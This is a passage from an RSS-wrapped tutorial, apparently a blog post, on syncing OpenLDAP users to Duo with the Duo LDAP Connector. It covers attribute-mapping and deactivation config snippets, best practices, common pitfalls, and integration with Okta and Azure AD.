&lt;p&gt;You can customize the attribute mapping by editing the &lt;code&gt;duo_ldap_connector.conf&lt;/code&gt; file. For example, to map the &lt;code&gt;employeeNumber&lt;/code&gt; attribute to the &lt;code&gt;Employee ID&lt;/code&gt; field in Duo, you can add the following line:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ini"&gt;&lt;code&gt;&lt;span class="py"&gt;attribute_map&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;employeeNumber:Employee ID&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Example Configuration
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ini"&gt;&lt;code&gt;&lt;span class="nn"&gt;[ldap]&lt;/span&gt;
&lt;span class="py"&gt;attribute_map&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;employeeNumber:Employee ID&lt;/span&gt;
                &lt;span class="err"&gt;department:Department&lt;/span&gt;
                &lt;span class="err"&gt;title:Title&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  What are the differences between manual and automated synchronization?
&lt;/h2&gt;

&lt;p&gt;When synchronizing users from OpenLDAP to Duo, you can choose between manual and automated synchronization methods. Each approach has its pros and cons.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;&lt;tr&gt;
&lt;th&gt;Approach&lt;/th&gt;
&lt;th&gt;Pros&lt;/th&gt;
&lt;th&gt;Cons&lt;/th&gt;
&lt;th&gt;Use When&lt;/th&gt;
&lt;/tr&gt;&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Manual Synchronization&lt;/td&gt;
&lt;td&gt;Controlled updates&lt;/td&gt;
&lt;td&gt;Time-consuming, prone to errors&lt;/td&gt;
&lt;td&gt;Small user base, infrequent changes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Automated Synchronization&lt;/td&gt;
&lt;td&gt;Real-time updates&lt;/td&gt;
&lt;td&gt;Requires configuration, potential for conflicts&lt;/td&gt;
&lt;td&gt;Larger user base, frequent changes&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  Manual Synchronization
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Process&lt;/strong&gt;: Manually trigger synchronization using the Duo Admin Panel or command-line tools.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Advantages&lt;/strong&gt;: Provides fine-grained control over updates, reduces the risk of unintended changes.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Disadvantages&lt;/strong&gt;: Time-consuming, requires manual intervention, prone to human error.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Automated Synchronization
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Process&lt;/strong&gt;: Configure the Duo LDAP Connector to synchronize users at regular intervals or in real-time.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Advantages&lt;/strong&gt;: Ensures up-to-date user data, reduces administrative overhead.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Disadvantages&lt;/strong&gt;: Requires careful configuration to avoid conflicts, potential for performance issues with large user bases.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  How do you handle user deletions and deactivations?
&lt;/h2&gt;

&lt;p&gt;Handling user deletions and deactivations is critical to maintaining accurate user data in Duo. The Duo LDAP Connector provides options for managing these scenarios.&lt;/p&gt;

&lt;h3&gt;
  
  
  Deactivation vs. Deletion
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Deactivation&lt;/strong&gt;: Temporarily disable a user account in Duo without removing it from the system.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Deletion&lt;/strong&gt;: Permanently remove a user account from Duo.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Configuration Options
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Deactivate Users&lt;/strong&gt;: Automatically deactivate users in Duo when they are removed from OpenLDAP.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Delete Users&lt;/strong&gt;: Automatically delete users in Duo when they are removed from OpenLDAP.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Example Configuration
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ini"&gt;&lt;code&gt;&lt;span class="nn"&gt;[ldap]&lt;/span&gt;
&lt;span class="py"&gt;deactivate_users&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;true&lt;/span&gt;
&lt;span class="py"&gt;delete_users&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;false&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Best Practices
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Test Deactivation and Deletion&lt;/strong&gt;: Before enabling automatic deactivation or deletion, test the process to ensure it behaves as expected.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Regular Reviews&lt;/strong&gt;: Periodically review user accounts in Duo to identify and clean up any stale or inactive accounts.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What are the best practices for maintaining a healthy synchronization process?
&lt;/h2&gt;

&lt;p&gt;Maintaining a healthy synchronization process is essential for ensuring accurate and secure user data in Duo. Here are some best practices:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Regular Updates&lt;/strong&gt;: Keep the Duo LDAP Connector software up to date with the latest patches and features.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Backup Configurations&lt;/strong&gt;: Regularly back up the &lt;code&gt;duo_ldap_connector.conf&lt;/code&gt; file to prevent data loss.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Monitor Performance&lt;/strong&gt;: Use monitoring tools to track the performance of the Duo LDAP Connector and identify any bottlenecks.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Review Logs&lt;/strong&gt;: Regularly review the logs for any errors or warnings that may indicate issues with synchronization.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Test Changes&lt;/strong&gt;: Before making significant changes to the configuration, test them in a development environment to ensure they work as expected.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What are the common pitfalls to avoid during synchronization?
&lt;/h2&gt;

&lt;p&gt;Avoiding common pitfalls is crucial for a successful synchronization process. Here are some mistakes to watch out for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Incorrect Configuration&lt;/strong&gt;: Ensure that all configuration settings are correct, especially the bind DN, password, and user filters.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Insufficient Permissions&lt;/strong&gt;: Verify that the bind DN has the necessary permissions to read user data from OpenLDAP.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Network Issues&lt;/strong&gt;: Ensure that the Duo LDAP Connector server can communicate with the OpenLDAP server without network interruptions.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Attribute Mapping Errors&lt;/strong&gt;: Double-check the attribute mapping to ensure that the correct LDAP attributes are mapped to Duo fields.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Overly Broad Filters&lt;/strong&gt;: Avoid using overly broad user filters that could synchronize unnecessary users.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  How do you integrate Duo with other identity providers?
&lt;/h2&gt;

&lt;p&gt;Integrating Duo with other identity providers can enhance the security of your organization's applications and services. Here are some common integrations:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Active Directory&lt;/strong&gt;: Use Duo's Active Directory Connector to synchronize users from Active Directory to Duo.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Okta&lt;/strong&gt;: Integrate Duo with Okta using the Duo SCIM app to synchronize users and manage access.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Azure AD&lt;/strong&gt;: Use Duo's Azure AD Connector to synchronize users from Azure AD to Duo.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Example Integration with Okta
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Create a Duo SCIM App in Okta&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Navigate to the Okta Admin Console and create a new application.&lt;/li&gt;
&lt;li&gt;Select "Duo SCIM" as the application type.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Configure the Duo SCIM App&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Enter the necessary information, including the API hostname, integration key, and secret key from Duo.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Map Attributes&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Map Okta user attributes to Duo fields to ensure accurate synchronization.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Enable Synchronization&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Start the synchronization process and monitor for any issues.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Comparison Table
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;&lt;tr&gt;
&lt;th&gt;Identity Provider&lt;/th&gt;
&lt;th&gt;Integration Method&lt;/th&gt;
&lt;th&gt;Pros&lt;/th&gt;
&lt;th&gt;Cons&lt;/th&gt;
&lt;/tr&gt;&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Active Directory&lt;/td&gt;
&lt;td&gt;Duo AD Connector&lt;/td&gt;
&lt;td&gt;Seamless integration with existing AD infrastructure&lt;/td&gt;
&lt;td&gt;Requires on-premises server&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Okta&lt;/td&gt;
&lt;td&gt;Duo SCIM App&lt;/td&gt;
&lt;td&gt;Easy to configure through Okta Admin Console&lt;/td&gt;
&lt;td&gt;Depends on Okta subscription&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Azure AD&lt;/td&gt;
&lt;td&gt;Duo Azure AD Connector&lt;/td&gt;
&lt;td&gt;Integrated with Microsoft ecosystem&lt;/td&gt;
&lt;td&gt;Requires Azure AD Premium license&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  How do you ensure compliance with regulatory requirements?
&lt;/h2&gt;

&lt;p&gt;Ensuring compliance with regulatory requirements is crucial for protecting sensitive user data. Here are some steps to follow:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Understand Requirements&lt;/strong&gt;: Familiarize yourself with relevant regulations such as GDPR, HIPAA, or CCPA.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Data Encryption&lt;/strong&gt;: Ensure that all data transmitted between Duo and OpenLDAP is encrypted using TLS.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Access Controls&lt;/strong&gt;: Implement strict access controls to limit who can view or modify user data.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Audit Logs&lt;/strong&gt;: Enable and regularly review Duo's audit logs to track changes to user accounts and access.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Compliance Training&lt;/strong&gt;: Provide training for administrators and staff on compliance best practices.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What are the future trends in identity management?
&lt;/h2&gt;

&lt;p&gt;The field of identity management is constantly evolving, driven by advancements in technology and changing regulatory landscapes. Here are some future trends to watch:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Multi-Factor Authentication&lt;/strong&gt;: Increased adoption of advanced MFA methods such as biometrics and hardware tokens.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Zero Trust Architecture&lt;/strong&gt;: Shift towards zero trust models that assume breaches and verify every access request.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Single Sign-On (SSO)&lt;/strong&gt;: Expansion of SSO solutions to provide seamless access across multiple applications and services.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Artificial Intelligence (AI)&lt;/strong&gt;: Use of AI to detect and respond to suspicious activities in real-time.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Cloud Identity Providers&lt;/strong&gt;: Growing popularity of cloud-based identity management solutions.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Synchronizing users and admins from OpenLDAP to Duo is a powerful way to enhance your organization's identity management processes. By following best practices and staying informed about the latest trends, you can ensure a secure, efficient, and compliant identity management solution.&lt;/p&gt;

&lt;h4&gt;🎯 Key Takeaways&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;Install and configure the Duo LDAP Connector to synchronize users from OpenLDAP.&lt;/li&gt;
&lt;li&gt;Define user filters to specify which users should be synchronized.&lt;/li&gt;
&lt;li&gt;Implement security best practices to protect user data during synchronization.&lt;/li&gt;
&lt;li&gt;Regularly review and update your synchronization process to maintain accuracy and security.&lt;/li&gt;
&lt;li&gt;Stay informed about the latest trends in identity management to adapt to changing requirements.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That's it. Simple, secure, works. Get started today!&lt;/p&gt;

</description>
      <category>duosync</category>
      <category>openldap</category>
      <category>integration</category>
      <category>iamdevbox</category>
    </item>
  </channel>
</rss>
